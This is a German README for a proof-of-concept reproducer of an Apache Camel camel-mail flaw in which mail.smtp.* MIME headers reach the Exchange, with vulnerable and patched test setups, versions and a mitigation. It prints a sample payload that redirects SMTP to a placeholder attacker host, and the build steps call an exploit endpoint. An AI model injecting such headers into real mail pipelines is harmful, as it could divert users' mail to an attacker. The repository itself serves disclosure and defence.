
Lauffähiger Proof-of-Concept-Reproduzierer für CVE-2026-85314, der die camel-mail MimeMultipart mail.smtp-Header-Injection in Camel Spring Boot und Camel Quarkus demonstriert, mit gepatchten Kontrollen.
MimeMultipart-Header-Injection (mail.smtp*)Lauffähiger Proof-of-Concept-Reproducer für die Apache-Camel-Schwachstelle, bei der das MimeMultipart-Datenformat von camel-mail die Header einer Nachricht beim Unmarshal mittels einer einfachen DefaultHeaderFilterStrategy auf die Exchange abbildete, die den Namensraum mail.smtp. / mail.smtps. nicht entfernt. CVE-2026-46584 schloss den Pfad, über den Mail-Header ungefiltert die Exchange erreichten, doch dieses Datenformat behielt einen ungefilterten Pfad: Diese Header-Namen tragen kein Camel-Präfix (sodass auch der Header-Filter eines Consumers sie nicht blockiert), und der Namensraum mail.smtp steuert, wie ein nachgelagerter Mail-Producer sich verbindet und sendet. Ein externer Absender einer Multipart-Nachricht konnte daher JavaMail-Session-Properties injizieren und die Mail-Verbindung umleiten (CWE-20). Es handelt sich um einen unvollständigen Fix von CVE-2026-46584 und nicht um eine neue Fehlerklasse.
| Laufzeitumgebung | Verzeichnis | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-mail 4.22.0 (betroffen; behoben in 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.39.0 + camel-quarkus-mail (Camel 4.22.0, betroffen; behobene Kontrolle CQ 3.40.0 / Camel 4.22.1) |
Beide Module demonstrieren das betroffene und das behobene Verhalten gegenüber dem echten MimeMultipartDataFormat.
Der Treiber unmarshalt eine vom Angreifer kontrollierte Multipart-Nachricht (Inline-Headers-Modus, analog zum MimeMultipartDataFormatTest des Fixes selbst), die JavaMail-Session-Properties als MIME-Header trägt, und meldet anschließend, welche davon auf der Exchange gelandet sind:
mail.smtp.host: attacker-smtp.example
mail.smtp.port: 2525
mail.smtps.auth: false
X-Normal: keep-me <- an unrelated header, should always survive
Content-Type: text/plain
Body text
mail.smtp.host, mail.smtp.port, mail.smtps.auth überstehen alle das Unmarshal und werden zu Exchange-Headern — ein nachgelagerter Mail-Produzent würde sie lesen, sodass der Absender umleitet, wohin Mails gesendet werden.mail.smtp.*-Namespace wird beim Unmarshal herausgefiltert (über MailHeaderFilterStrategy), während der
unabhängige X-Normal-Header beibehalten wird.# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected: mail.smtp* injected = true; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85314-mail-mime-header-injection-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack # fixed: mail.smtp* injected = false; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected (Camel 4.22.0): mail.smtp* injected = true
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack # fixed: mail.smtp* injected = false
| Eigenschaft | Wert |
|---|---|
| Komponente | camel-mail (MimeMultipartDataFormat, Unmarshal) |
| CWE | CWE-20 (Unzureichende Eingabevalidierung) |
| Schweregrad | MITTEL |
| Angriffsvektor | Die Multipart-Nachricht eines externen Absenders enthält mail.smtp.*-MIME-Header; beim Unmarshalling werden diese auf den Exchange abgebildet |
| Auswirkung | Injizierte JavaMail-Session-Eigenschaften steuern, wie und wohin ein nachgelagerter Mail-Producer verbindet und sendet |
| Betroffene Versionen | Ab 4.0.0 vor 4.18.5, ab 4.19.0 vor 4.22.1 |
| Behobene Versionen | 4.18.5, 4.22.1, 4.23.0 |
| JIRA | CAMEL-24419 |
| Verwandt | Unvollständige Behebung von CVE-2026-46584 |
| Danksagung | Claude Security Scan Tool |
Advisory: https://camel.apache.org/security/CVE-2026-85314.html
Das betroffene Quarkus-Modul basiert auf CQ 3.39.0 (Camel 4.22.0). Die korrigierte Kontrolle ist CQ 3.40.0 (Camel 4.22.1).
MimeMultipartDataFormat verwendet nun MailHeaderFilterStrategy statt
DefaultHeaderFilterStrategy, sodass der Namespace mail.smtp. / mail.smtps. beim Unmarshal genau so gefiltert wird, wie der
Mail-Consumer ihn auf der eingehenden Seite filtert (CAMEL-23522) — damit wird der Pfad geschlossen, den CVE-2026-46584 offen ließ.
Entfernen Sie den Namespace nach dem Data Format mit removeHeaders("mail.smtp*") vor jedem Mail-Producer.
Dieses Repository wird zu Bildungs- und Verteidigungszwecken veröffentlicht: um Apache-Camel-Nutzern zu helfen, die
Schwachstelle zu verstehen, zu prüfen, ob sie betroffen sind, und zu bestätigen, dass ein Upgrade sie behebt. Die Multipart-Nachricht ist ein
harmloses In-Process-Fixture; attacker-smtp.example ist ein Platzhalter und es wird keine Mail versendet. Verwenden Sie dieses Material nicht
gegen Systeme, die Ihnen nicht gehören oder die Sie nicht betreiben.